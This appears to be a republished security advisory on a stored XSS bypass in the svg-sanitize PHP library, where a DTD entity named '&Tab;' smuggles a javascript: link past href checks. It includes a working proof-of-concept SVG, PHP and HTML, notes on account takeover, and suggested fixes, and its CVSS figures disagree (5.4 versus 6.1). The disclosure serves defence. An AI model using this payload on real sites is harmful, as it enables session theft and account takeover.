Where
-Infinity
0
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).

This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.

Affected installations: - enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents - WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes) - TYPO3, Drupal and 90+ other Packagist dependents

Vulnerability Details

Mechanism

1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference: xml <!ENTITY Tab "#"> In XML, &Tab; expands to the literal string "#" (from the DTD definition). In HTML5, &Tab; is a Named Character Reference that resolves to U+0009 (TAB character).

2. The SVG uses this entity in an href: xml <a href="&Tab;javascript:alert(document.domain)">

3. During sanitization (XML context): &Tab; → "#" → the sanitizer sees href="#javascript:alert(document.domain)" → starts with # → isHrefSafeValue() returns TRUE → passes through.

4. Sanitizer output: saveXML() outputs the entity reference &Tab; (not the expanded value), and strips the DOCTYPE declaration.

5. In the browser (HTML5 context): Without the DOCTYPE, &Tab; is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → javascript:alert(document.domain) executes.

Root Cause (Sanitizer.php)

php // isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution) protected function isHrefSafeValue($value) { if ('#' === substr($value, 0, 1)) { return true; // Fragment identifier — "safe" } // ... }

// But saveXML() preserves the entity REFERENCE, not the expanded value // And the DOCTYPE (which defines the entity) is stripped from output // → semantic mismatch between validation and output contexts

Proof of Concept

Malicious SVG (xss.svg)

xml <!DOCTYPE svg [<!ENTITY Tab "#">]> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg>

Sanitizer processing

php <?php requireonce 'vendor/autoload.php';

$svg = filegetcontents('xss.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo $clean;

Output: xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg>

The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the &Tab; entity reference is preserved.

Browser exploitation

Embed the sanitized SVG inline in HTML: html <div class="svg-container"> <!-- sanitized SVG output inserted here --> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> </div>

Clicking the red rectangle executes alert(document.domain).

Confirmed: Chrome 148. PoC file: XSSCONFIRMEDPOC.html

Exploitable Named Character References

Any HTML5 Named Character Reference that expands to a URL-parser-ignored character: - &Tab; → U+0009 (Horizontal Tab) - &NewLine; → U+000A (Line Feed)

These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.

Impact

Stored XSS

- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint - SVG passes sanitization — sanitizer reports no issues - When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin - Account takeover: document.cookie, fetch('/wp-admin/...'), session hijacking

Context requirement

The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios: - WordPress themes that echo filegetcontents($svgpath) for inline SVG rendering - WordPress block editor SVG preview - Any web application rendering svg-sanitize output directly in HTML

Standalone <img src="...svg"> is NOT affected (browser uses XML parser, &Tab; without DOCTYPE = XML parse error).

CVSS

CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

With session stealing / admin takeover chain: effective severity High.

Suggested Fix

Option 1: Strip DOCTYPE before parsing (recommended)

php $dirty = pregreplace('/<!DOCTYPE[^>](?:\[.?\])?\s>/si', '', $dirty);

Eliminates entity definitions entirely. No DTD entities = no collision.

Option 2: Validate href after serialization

php $clean = $this->xmlDocument->saveXML(...); // Post-serialization check: re-validate all href values in the OUTPUT // (catches entity references that bypass the XML-expanded check)

Option 3: Expand entities before validation

Validate getAttribute() return value AND the serialized form: php $href = $element->getAttribute($attrName); $serialized = $this->xmlDocument->saveXML($element); // Check both for javascript: scheme

Environment

- enshrined/svg-sanitize 0.22.x - Chrome 148 (confirmed XSS execution) - PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)

Reported by ExPatch Security Research — expatch.llc Denis Rostilov

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203